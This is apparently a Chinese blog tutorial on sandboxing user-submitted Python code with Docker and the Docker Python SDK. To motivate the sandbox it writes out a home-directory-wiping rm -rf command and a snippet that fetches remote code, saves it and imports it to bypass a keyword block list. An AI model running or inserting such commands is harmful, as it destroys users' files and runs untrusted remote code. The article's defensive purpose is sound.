如何安全运行别人上传的Python代码？

写后端的同学，有时候需要在网站上实现一个功能，让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码，我们第一个想到的问题，就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行，在不做任何安全过滤的情况下，就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单，直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗？

这种想法乍看起来没有问题，但细想下，就会发现非常天真。如果用户的代码像下面这样写，你又要如何应对？

import requests

code = requests.get('https://www.kingname.info/dangerous_code').text

with open('dangerous_code.py', 'w') as f:
    f.write(code)

dangerous_module = __import__('dangerous_code')
danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code对应的代码如下：

import os
def delete_all():
    os.system('rm -rf ~/*')

这样就可以绕过关键字检查，并成功删除你的文件了。

如果你的网站本身就是一个爬虫管理平台，你检查用户自定义的代码时，肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

而且恶意代码不一定是删除你的东西，它完全可以直接把你项目下面的所有代码打包，上传到它指定的URL中，这样就能窃取你网站里面所有代码。

为了避免这样的情况发生，我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷，独立的环境能确保他即使删除了所有文件，也不会影响到你。

显然，最简单直接的办法，就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

首先，确保你的服务器上面已经有Docker，并且正在运行。接下来，安装Docker SDK：

pip install docker

假设，你把用户上传的文件放在了user/<user_id>/upload文件夹下面，那么，首先你需要生成一个Dockerfile，并把这个Dockerfile放到upload文件夹中：

from python:3.10

run pip install -r requirements.txt
copy . /app
workdir /app

当用户添加/修改了第三方库时，你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

接下来，我们开始构建镜像并运行代码：

import docker
client = docker.from_env()

client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义

container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

这个代码运行以后是非阻塞的，会立刻返回container对象。当你想查看代码日志时，执行：

container.logs(tail=10) # 显示最后10行日志

就可以看到相关的日志了。

关于Docker SDK的更多操作，可以看他的官方文档：Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

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参考资料

[1]

Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python